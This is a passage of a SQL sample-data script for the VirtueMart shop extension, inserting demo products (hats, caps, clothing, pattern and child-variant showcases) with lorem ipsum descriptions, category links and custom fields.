00:00:00', 635), (46, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (47, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (48, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (49, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (50, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (51, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (52, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (53, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (54, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (55, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (56, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (57, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (58, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (59, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (60, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (61, 1, 60, '', 125.0000, 'G', 20.0000, 20.0000, 10.0000, 'CM', '', 35, 2, 5, '0000-00-00 00:00:00', '', 0, 0, '100G', 0.5000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (62, 1, 60, '', 150.0000, 'G', 35.0000, 30.0000, 15.0000, 'CM', '', 15, 1, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (63, 1, 60, '', 200.0000, 'G', 25.0000, 25.0000, 25.0000, 'CM', '', 122, 2, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (64, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (65, 1, 64, '', 0.1000, 'KG', 25.0000, 20.0000, 2.0000, 'CM', '', 77, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (66, 1, 64, '', 0.0750, 'KG', 0.2000, 0.2000, 0.1500, 'M', '', 152, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (67, 1, 64, '', 150.0000, 'G', 25.0000, 25.0000, 15.0000, 'CM', '', 50, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (68, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (69, 1, 68, '', 350.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 2, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (70, 1, 68, '', 300.0000, 'G', NULL, NULL, NULL, 'M', '', 12, 0, 1, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (71, 1, 68, '', 550.0000, 'G', NULL, NULL, NULL, 'M', '', 15, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (72, 1, 68, '', 200.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 4, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (73, 1, 68, '', 250.0000, 'G', NULL, NULL, NULL, 'M', '', 54, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 5, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635); INSERT IGNORE INTO `#__virtuemart_products_XLANG` (`virtuemart_product_id`, `product_s_desc`, `product_desc`, `product_name`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'This is a default product.', '

      Default product with standart settings no customfields. You can set:

      \r\n

      Tab Product Information
      - General: Published, On Featured, Product SKU, Product Name, Produkt alias, URL,
      - Assignation:Manufacturer, Product Categories, Shopper Groups, Type of Product detail page
      - Product pricing: Cost price, Base price, Final price, Override, and priceranges dependant on Shopper group.
      - You can add Child products here also.

      \r\n

      Tab Product Description
      - Description, Short descriptionm Meta information

      \r\n

      Tab Product Status
      - Stock amount, Low Stock notification, Minimum and maximum purchase quantity, Availability Date + image
      - Booked, ordered products amount, Quantity Steps
      - Also it is possible to send email to shopper who bought this product.

      \r\n

      Tab Dimension and Weight
      - Lenght, Width, Height, Weight, Packing, and Units in Box

      \r\n

      Tab Product images
      - Use already uploaded images
      - Set image information
      - Upload new image
      - manage thumbnail

      \r\n

      Tab Custom Fields
      - Set related Categories & Products
      - Select customfields

      \r\n

       

      \r\n

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Default product', '', '', '', 'default-product'), (2, 'It\'s a free Product!', '

      This product shows how a free product is set up. At least let price empty. The shopper can purchase without beeing charged. In settings you decide if an invoice will be created for free products. In all cases the shopper needs to checkout.

      \r\n

      It can be used e.g. if you want to offer catalogue or merchandise products.

      ', 'Free product', '', '', '', 'free-product'), (3, 'Default product with customfield string.', '

      This is a default product with standart settings and a customfield type string. You can set:
      - Title (text)
      - Show title (select)
      - Published (select)
      - Select parent customfield (for building a pattern of multiple customfields at once) (select)
      - Cart Attribut (select)
      - Description (text)
      - Default (text)
      - Tooltip (text)
      - Layout position
      - Admin only (select)
      - Is a list (select)
      - Hidden (select)

      ', 'Product w/customfield string', '', '', '', 'product-w-customfield-string'), (4, 'This is a default product with customfield textarea.', '

      Default product with one customfield textarea you see this customfield content below.

      \r\n

      You can use customfield textarea to add further informating apart from product description.

      \r\n

       

      ', 'Product w/customfield textarea', '', '', '', 'product-w-customfield-textarea'), (5, 'This is a default product with standart settings and a customfield type parent.', '

      You can set use customfield type parent to bind multiple child customfields into a parental bundle.

      For example for books, you may wish to always give the following description:

      \r\n

      Reading level: Ages 9-12
      Hardcover: 224 pages
      Publisher: Amulet Books (November 15, 2011)
      Language: English
      ISBN-10: 1419702238
      ISBN-13: 978-1419702235

      \r\n

      Therefore bind multiple customfields e.g. string into a parent customfield to use it as a pattern.

      ', 'Product w/customfield parent', '', '', '', 'product-w-customfield-parent'), (6, 'Default product with cart variants modifies price.', '

      Custom Field with Cart Attribute allows you to add some options to a product that can modify the product price. For example, you may wish to sell a book, or the downladable version of it. And the price is different in both case.

      In this case you can select different variants. Default, Variant A,B, or C. The price will be modified by selection. In VM configuration you can also select either tax should be applied to cart variant in customfield.

      ', 'Product w/cart variant', '', '', '', 'product-w-cart-variant'), (7, 'Product with child variant; parent ordable', '

      This product will explain the usage of customfield generic (dynamic) child variant. The base product is ordable in this case.

      \r\n

      Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
      Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

      Set up a new product, set price, add child products. Add created customfield generic child variant.
      The child products are assigned to another unpublished category as the parent product for calculation or llike in this case to no category.
      Tick the checkboxes Display parent as option.

      ', 'Product w/child variant', '', '', '', 'product-w-child-variant'), (8, '', '', 'child variant 1', '', '', '', 'child-variant-1'), (9, '', '', 'child variant 2', '', '', '', 'child-variant-2'), (10, '', '', 'child variant 3', '', '', '', 'child-variant-3'), (11, 'Product with child variant; parent not ordable', '

      This product will explain the usage of customfield generic (dynamic) child variant. The base product is not ordable in this case.

      \r\n

      Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
      Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

      Set up a new product, set price, add child products. Add created customfield generic child variant.
      The child products are assigned to another category as the parent product for caclulation or like in this case to no category.
      Do not tick the checkbox Display parent as option in this case.

      ', 'Product w/child variant parent not ordable', '', '', '', 'product-w-child-variant-parent-not-ordable'), (12, '', '', 'Child variant 1 15€', '', '', '', 'child-variant-1-15'), (13, '', '', 'Child variant 1 20€', '', '', '', 'child-variant-1-20'), (14, '', '', 'Child variant 1 25€', '', '', '', 'child-variant-1-25'), (15, 'Default product with child variant and cart variant.', '

      This product is a showcase to present the combination of product price, child variant price, and cart variant price.

      ', 'Product w/child variant w/cart variant', '', '', '', 'product-w-child-variant-w-cart-variant'), (16, '', '', 'child variant w/cart variant 1', '', '', '', 'child-variant-w-cart-variant-1'), (17, '', '', 'child variant w/cart variant 2', '', '', '', 'child-variant-w-cart-variant-2'), (18, '', '', 'child variant w/cart variant 3', '', '', '', 'child-variant-w-cart-variant-3'), (19, 'Showcase for pattern usage.', '

      This product is used as a pattern for other products. It is a parent product and has multiple child products.
      You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

      \r\n

      In this case product price is set in pattern.

      ', 'Basic PATTERN', '', '', '', 'basic-pattern'), (20, 'This is a basic child of Product PATTERN.', '

      This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

      In case the child product should be available by browsing set the product category.

      ', 'Basic child', '', '', '', 'basic-pattern197'), (21, 'This is a basic child of Product PATTERN. You see inherited settings.', '

      This is a basic child of Product PATTERN. You see inherited settings.
      Overwritten are following setting/content:
      - Product desc
      - Product price

      In case the child product should be available by browsing set the product category.

      ', 'Basic price overwrite', '', '', '', 'basic-price-overwrite'), (22, 'Multiple overwrites short desc.', '

      This is a child of Product PATTERN. Most inherited settings are overwritten:
      - Short desc
      - Product desc
      - Product price
      - Product Images
      - Product Dimension and Weight (Units in Box)

      In case the child product should be available by browsing set the product category.

      ', 'Basic multiple overwrites', '', '', '', 'basic-multiple-overwrites'), (23, 'Showcase advanced pattern usage.', '

      This product is used as a pattern for other products. It is a parent product and has multiple child products.
      You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

      \r\n

      One of the hugest advantages is stock control ability.

      \r\n

       

      ', 'Advanced PATTERN', '', '', '', 'advanced-pattern'), (24, '', '

      This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

      In case the child product should be available by browsing set the product category.

      ', 'Advanced child', '', '', '', 'advanced-child'), (25, '', '

      This is a advanced child of Advanced PATTERN. You see inherited settings.
      Overwritten are following setting/content:
      - Product desc
      - Product price

      In case the child product should be available by browsing set the product category.

      ', 'Advanced price overwrite', '', '', '', 'advanced-price-overwrite'), (26, 'Advanced multiple overrides', '

      This is a child of Product PATTERN. Most inherited settings are overwritten:
      - Short desc
      - Product desc
      - Product price
      - Product Images
      - Product Dimension and Weight (Units in Box)
      - Customfields

      In case the child product should be available by browsing set the product category.

      ', 'Advanced multiple overrides', '', '', '', 'advanced-multiple-overrides'), (27, '', '', '3- Product 1st PATTERN', '', '', '', '3-product-1st-pattern'), (28, '', '', '2- 1st pattern CHILD 1', '', '', '', '2--1st-pattern-child-1'), (29, '', '', '7- 1st pattern CHILD 2', '', '', '', '7-1st-pattern-child-2'), (30, '', '', '5- 1st pattern CHILD 3', '', '', '', '5-1st-pattern-child-3'), (31, '', '', '4- 1st pattern CHILD 4', '', '', '', '4-1st-pattern-child-4'), (32, '', '', '1- 1st pattern CHILD 5', '', '', '', '1--1st-pattern-child-5'), (33, '', '', '32- 1st pattern CHILD 6', '', '', '', '32-1st-pattern-child-6'), (34, '', '', '25- 1st pattern CHILD 7', '', '', '', '25-1st-pattern-child-7'), (35, '', '', '24- 1st pattern CHILD 8', '', '', '', '24-1st-pattern-child-8'), (36, '', '', '27- 1st pattern CHILD 9', '', '', '', '27-1st-pattern-child-9'), (37, '', '', '28- 1st pattern CHILD 10', '', '', '', '28-1st-pattern-child-10'), (38, '', '', '8- Product 2st PATTERN', '', '', '', '8-product-2st-pattern'), (39, '', '', '6- 2nd pattern CHILD 1', '', '', '', '6--2nd-pattern-child-1'), (40, '', '', '15- 2nd pattern CHILD 2', '', '', '', '15-2nd-pattern-child-2'), (41, '', '', '30- 2nd pattern CHILD 3', '', '', '', '30-2nd-pattern-child-3'), (42, '', '', '17- 2nd pattern CHILD 4', '', '', '', '17-2nd-pattern-child-4'), (43, '', '', '16- 2nd pattern CHILD 5', '', '', '', '16-2nd-pattern-child-5'), (44, '', '', '22- 2nd pattern CHILD 6', '', '', '', '22-2nd-pattern-child-6'), (45, '', '', '23- 2nd pattern CHILD 7', '', '', '', '23-2nd-pattern-child-7'), (46, '', '', '21- 2nd pattern CHILD 8', '', '', '', '21-2nd-pattern-child-8'), (47, '', '', '18- 2nd pattern CHILD 9', '', '', '', '18-2nd-pattern-child-9'), (48, '', '', '33- 2nd pattern CHILD 10', '', '', '', '33-2nd-pattern-child-10'), (49, '', '', '20- Product 3rd PATTERN', '', '', '', '20-product-3rd-pattern'), (50, '', '', '19- 3rd pattern child 1', '', '', '', '19--3rd-pattern-child-1'), (51, '', '', '14- 3rd pattern child 2', '', '', '', '14--3rd-pattern-child-2'), (52, '', '', '13- 3rd pattern child 3', '', '', '', '13--3rd-pattern-child-3'), (53, '', '', '11- 3rd pattern child 4', '', '', '', '11--3rd-pattern-child-4'), (54, '', '', '26- 3rd pattern child 5', '', '', '', '26-3rd-pattern-child-5'), (55, '', '', '9- 3rd pattern child 6', '', '', '', '9--3rd-pattern-child-6'), (56, '', '', '31- 3rd pattern child 7', '', '', '', '31-3rd-pattern-child-7'), (57, '', '', '10- 3rd pattern child 8', '', '', '', '10--3rd-pattern-child-8'), (58, '', '', '29- 3rd pattern child 9', '', '', '', '29-3rd-pattern-child-9'), (59, '', '', '12- 3rd pattern child 10', '', '', '', '12--3rd-pattern-child-10'), (60, '', '', 'PATTERN Hats', '', '', '', 'pattern-hats'), (61, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Classic Hat', '', '', '', 'classic-hat'), (62, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Cowboy Hat', '', '', '', 'cowboy-hat'), (63, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Derby Hat', '', '', '', 'derby-hat'), (64, '', '', 'PATTERN Caps', '', '', '', 'pattern-caps'), (65, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Santa Cap', '', '', '', 'santa-cap'), (66, 'Base lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Baseball Cap', '', '', '', 'baseball-cap'), (67, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Marine Cap', '', '', '', 'marine-cap'), (68, 'Pattern for Clothing. For showcase reason this pattern is NOT unpublished.', '

      For showcase reason this pattern is NOT unpublished.

      ', 'PATTERN Clothing', '', '', '', 'pattern-outer-garments'), (69, 'Jumper dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '', 'Jumper', '', '', '', 'jumper'), (70, 'Wide dress dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Wide dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Wide dress', '', '', '', 'wide-dress'), (71, 'Classic jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Classic Jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Classic Jacket', '', '', '', 'classic-jacket'), (72, 'Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Poncho', '', '', '', 'poncho'), (73, 'Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Dress', '', '', '', 'dress'); INSERT IGNORE INTO `#__virtuemart_product_categories` (`id`, `virtuemart_product_id`, `virtuemart_category_id`, `ordering`) VALUES (1, 1, 1, 1), (2, 2, 1, 2), (3, 3, 1, 3), (4, 4, 1, 4), (5, 5, 1, 5), (6, 6, 1, 6), (7, 7, 1, 7), (8, 11, 1, 8), (9, 15, 1, 9), (13, 21, 2, 3), (11, 20, 2, 2), (12, 19, 2, 1), (14, 22, 2, 4), (15, 23, 2, 5), (16, 24, 2, 6), (17, 25, 2, 7), (20, 27, 3, 3), (19, 26, 2, 8), (21, 28, 3, 2), (22, 36, 3, 27), (23, 35, 3, 24), (24, 34, 3, 25), (25, 33, 3, 32), (26, 32, 3, 1), (27, 31, 3, 4), (28, 30, 3, 5), (29, 29, 3, 7), (30, 37, 3, 28), (31, 38, 3, 8), (32, 39, 3, 6), (33, 47, 3, 18), (34, 46, 3, 21), (35, 45, 3, 23), (36, 44, 3, 22), (37, 43, 3, 16), (38, 42, 3, 17), (39, 41, 3, 30), (40, 40, 3, 15), (41, 48, 3, 33), (42, 49, 3, 20), (43, 50, 3, 19), (44, 58, 3, 29), (45, 57, 3, 10), (46, 56, 3, 31), (47, 55, 3, 9), (48, 54, 3, 26), (49, 53, 3, 11), (50, 52, 3, 13), (51, 51, 3, 14), (52, 59, 3, 12), (53, 60, 5, 1), (54, 61, 5, 2), (55, 62, 5, 3), (56, 63, 5, 4), (57, 64, 6, 1), (58, 65, 6, 2), (59, 66, 6, 3), (60, 67, 6, 4), (61, 68, 7, 1), (62, 70, 7, 3), (63, 70, 9, 1), (64, 69, 7, 2), (65, 69, 8, 1), (66, 71, 7, 4), (67, 71, 8, 2), (68, 72, 7, 5), (69, 72, 9, 2), (70, 72, 8, 3), (71, 73, 7, 6), (72, 73, 9, 3), (73, 63, 4, 4), (74, 62, 4, 3), (75, 61, 4, 2), (76, 60, 4, 1), (77, 67, 4, 8), (78, 66, 4, 7), (79, 65, 4, 6), (80, 64, 4, 5); INSERT IGNORE INTO `#__virtuemart_product_customfields` (`virtuemart_customfield_id`, `virtuemart_product_id`, `virtuemart_custom_id`, `custom_value`, `custom_price`, `custom_param`, `published`, `ordering`) VALUES (1, 3, 3, 'This is the content of the customfield string.', NULL, '', 0, 0), (2, 4, 4, 'Default product with this customfield textarea.

      \r\n\r\nLorem ipsum dolor sit amet, set clita kasd gubergren, no sea takimata sanctus est dolor sit amet consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.

      \r\n\r\nAt vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      \r\n', NULL, '', 0, 1), (3, 5, 5, '', NULL, '', 0, 0), (4, 5, 6, 'Customfield Child string 1 content', NULL, '', 0, 1), (5, 5, 7, 'Customfield ChildCustomfield Child string 2 content 2: string content', NULL, '', 0, 2), (6, 5, 8, '
      \r\nCustomfield Textarea Child content
      \r\n>> This three customfields are assigned by adding Customfield Parent.
